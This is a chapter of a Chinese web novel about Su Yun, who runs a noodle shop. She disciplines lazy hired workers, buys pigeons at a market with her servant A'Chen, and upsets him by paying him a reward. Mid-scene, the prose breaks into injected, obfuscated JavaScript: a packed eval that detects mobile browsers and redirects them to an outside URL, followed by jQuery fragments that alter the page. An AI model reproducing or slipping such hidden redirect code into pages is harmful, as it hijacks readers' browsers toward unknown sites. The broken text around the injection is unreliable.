今天是正月初八。
苏芸不大开心。
新来的帮工全迟到了,定好的卯时上班,结果四人拖到了辰时快结束才来。
“老板,天太冷了起不来啊。”
“是啊老板,我这昨天都没睡好,现在头还疼呢!”
“哦?”苏芸放下手中的面团,从上到下打量着为首那个叫阿才的人。
“起不来那就回去睡吧,不过啊工钱可是要扣的,干多少活儿呢就拿多少钱。”
苏芸每日的工钱都是日结的,她性子好,对人也客气,按理说以真心换真心,就像福子他们。
可这四位呢,喜欢看人下菜碟的,见苏芸好说话,干活也就渐渐松懈不少,还时不时到灶房里拿点吃的喝的。
眼下见苏芸要扣钱,阿才不乐意了,一张长脸拉得更长。
“老板,我们几个每天从郊外赶过来也不容易,怎么能说扣钱就扣钱啊?”
“你不发钱我们吃什么?不行!我们不同意!”
其他几人也应和着,这时候外面啪啪啪的劈柴声停了,紧接着一个高大的身影走进灶房
阿沉。
他衣服上还沾着木屑,右手拎着锋利的斧头,走到案板旁边。
啪!
斧头牢牢钉在案板上,案板震得都弹了几下。
随后阿沉轻松抽出斧头,乖乖站到了苏芸身后,面无表情地看着对面四人。
几人下意识退后几步。
苏芸憋住笑,开口问道:
“各位,我云洲话不大好,你们刚才说什么来着?再说一遍?”
—————————————————————
这日的餐是苏芸和阿沉一起送的,因为晚了一刻钟,苏芸还多准备了几分甜品略表歉意。好在静宁没有怪她,还叮嘱苏芸雪天路滑,让她别太着急。
静宁没有急着走,站在廊下和苏芸说了会儿话。雪还在下,细细的,落在静宁的僧袍上,落在苏芸的棉袄上,落在阿沉肩头,又很快化掉。
回去的时候苏芸手里多了个平安符。
是福子他娘送的。
老人家姓沈,自从搬到苏芸给的寮房之后,病情好转许多,甚至都能下地走动走动了。
沈大娘听儿子说了苏芸对他的照顾,心中无比感激,花了好些日子缝了个平安符,还在南福寺找住持开了光,亲自跪下祈福,保佑苏芸平平安安。
“姑娘,老婆子我没什么钱,这个是我亲手做的,你别嫌弃啊……”
“不嫌弃不嫌弃,大娘您这是什么话,这么好的平安符外头买都买不到呢,我还要谢谢大娘想着我。”
苏芸又想起静宁,她说福子他娘最近身子好多了,每天清晨都去佛堂念经,念完了就坐在寮房门口缝东西,缝了拆,拆了缝,来来回回好几天,才做出那个平安符。
苏芸想到这里,手指无意识地摸了摸袖中的平安符,符面缝得密密实实,针脚不太匀,但每一针都扎得很深。
这针好像也扎进了苏芸的眼睛里,她现在觉得眼睛发酸。
回来后苏芸换了身衣服,是过年的时候苏平之送的那套石榴红袄子,领口缀着一圈兔毛,衬得她的脸又小又白。然后她拉着阿沉去了东市。
苏平之没一起,自从苏芸送了他文房四宝后,他没事儿坐在角落里练练字,看看书,偶尔还会发呆出神,苏芸问起他却笑着说没事。
苏芸和阿沉来到东市,今天是一年一度的鸽子会
苏芸和阿沉刚走到街口,一股热浪混着鸽羽的气味扑面而来。整条街密密麻麻全是人,肩膀挨着肩膀,脚跟碰着脚跟。头顶上横七竖八拉着竹竿,上面挂满了鸽笼,灰的白的花的,咕咕咕的声音从四面八方涌过来,像一锅煮开的粥。
有鸽子从笼子里探出头,歪着脑袋打量底下的人,冷不丁扑棱一下翅膀,细碎的绒毛从半空飘下来,落在路人的肩上和头发上。
卖鸽子的蹲在路边,笼子摞成小山,见有人经过就提起一只鸽子往前送,“姑娘看看,这只白得多干净!”
旁边两个鸽友为了种鸽的事争得面红耳赤,一个说看眼砂一个说看翅形,嗓门大得能把鸽子惊飞。空气里混着鸽粪味、干草味、糖炒栗子的甜香,还有路边馄饨摊飘来的热汤气,闹哄哄的,却闹得人心里热腾腾的。
“呦!”
苏芸被一行人不小心挤了下,差点摔倒,好在阿沉眼疾手快,拉住了她。
“人多,小心。”
“嗯嗯,真是没想到啊,我还以为没什么人呢!”
苏芸被阿沉紧紧拉着,周围全是提着笼子的鸽友,耳边还时不时传来讨价还价的声音。
经过一段时间的补习,苏芸的云洲话有了些进步,就算不靠苏平之翻译,日常对话她也能听懂个大概了。
“阿沉,你懂鸽子吗?”苏芸走到一处小摊前停下脚步,竹笼里面的鸽子毛色雪白发亮,眼睛也炯炯有神的。
“懂一点。”
“那你看看这个。”苏芸指着笼子问阿沉。
她不懂鸽子,不过按她在现代时照顾狗狗的经验嘛,看宠物的毛色和眼神,准错不了。
阿沉盯了一会,又开口对小贩说:
“可以摸一下吗?”小贩笑容有点僵硬,但还是打开了笼子。
阿沉大手伸进去,来回摸了两下,随后抽开手,关上笼门。
“…去别处看看。”
“哎等等呀!”小贩急了,忙喊住二人。
他瞧出来苏芸是主子,提起笼子谄笑着继续推销:
“姑娘,您再看看呗,我家的鸽子很便宜的,您要是买的多啊,再给您打个折!”
苏芸犹豫着停下脚步,刚才她走了一圈,好些小摊上卖的鸽子都是花色的,看着有那么点慎人,她还是喜欢纯色动物。
“如果买十只,多少钱?”
“十只啊!我家鸽子都是优质的种鸽,一只要六百文!十只六千!”
“我给您算便宜些,四千五如何?再加两包鸽食!”
四千五,苏芸的预算是五千文,这个价格也算合理。
况且那小鸽子是真的可爱,一双眼睛直勾勾地盯着苏芸,要不是怕暴露出自己喜欢不好砍价,苏芸都想上手摸摸它们了!
“那就……”苏芸想说那就凑个整,四千文。
话还没说完,阿沉拦住了她。
“骗人,不是种鸽。”他瞥了眼小贩,对方眼神躲闪。
“这个…一只,二百。”<
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17488215|202112||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
/p>
“二百…!”小贩眼睛瞪的巨大,心里那个火呦!
好不容易要做成一单大生意,结果却被这个讨厌的黑脸仆人给搅糊了!
最后经过一番拉扯,苏芸把价格砍到了十只一千八,还赠了两包鸽子食。
“来阿沉,这个给你。”
回去的路上苏芸拿过阿沉的荷包,往里面装了一钱银子。
?
“谢谢你替我省下一笔钱,奖金!”
阿沉低下头摸了摸荷包,丝毫没有露出喜悦的表情。
“我……”沉默良久,阿沉开口问道。
“你给我钱,是把我……当外人。”
“啊??没有啊,你胡说什么呢!”苏芸连忙否认,谁家外人还一起过年一起出去玩啊!
“如果…今天是大哥,你会给他钱?”
“我……”苏芸语塞。
是啊,如果是苏平之,她只会嘻嘻哈哈地说哥哥最厉害了回去给你加份儿甜品之类的话,怎么会提钱。
在她心里已经默认了苏平之是自己人,一家人给谢礼干嘛,左兜装右兜?那不有病吗?
可是阿沉呢?
——————————————————————
苏平之写完了字,又看了会儿书,然后把面馆仔细打扫了一番,空气里都散发着湿漉漉的水汽。
他伸了个懒腰,看了看天色。
“都这个时辰了。估计芸儿和阿沉也快回来了。”
苏平之又跑到灶房里,把准备好的三碗面条端了出来。
他最近厨艺又进步许多,坐等芸儿夸夸,嘿嘿…
不一会儿,苏芸和阿沉回来了,两个人手上分别提着几只鸽子笼,鸽子在笼子里咕咕叫着,偶尔扑棱一下翅膀,细碎的绒毛从缝里飘出来。
“怎么买这么多鸽子?”苏平之走上前接过两笼,提起来好奇地看了看。
“芸儿,你要做鸽子面吗?这鸽子肉不太好吃啊……”
“不是啦哥。”苏芸苦笑着摇摇头,没有进一步解释。
“那先放后院吧,哎对了,我做了面条,你们赶紧趁热吃!”
“阿沉,你喜欢照烧汁还是糖醋汁来着?我准备的糖醋,没记错吧?”
阿沉顿住身子,苏平之只看到他的背影。
“嗯…麻烦…大哥了。”
“你们先吃,院子里…还有活要干。”
说完阿沉掀开帘子,直接走到了后院,从柴房拿出捆柴火。
啪。
啪。
劈柴的声音闷闷的,一下比一下长。
苏芸没有说话,低下头默默吃面。
“阿沉,你吃完再劈柴啊!今天又不营业,急什么嘛!”
啪。
啪。
回应苏平之的只有劈柴声。
苏芸皱了下眉,又往嘴里送了口面。
苏平之看了眼苏芸,觉得自家妹妹好像不大对劲。
“芸儿…这个面,是不是不太好吃?”苏平之有些忐忑地问。
“没有啊哥,很好吃,你又进步了。”苏芸笑着否认道,然后又喝了口面汤。
啪。
啪。
劈柴声还在继续。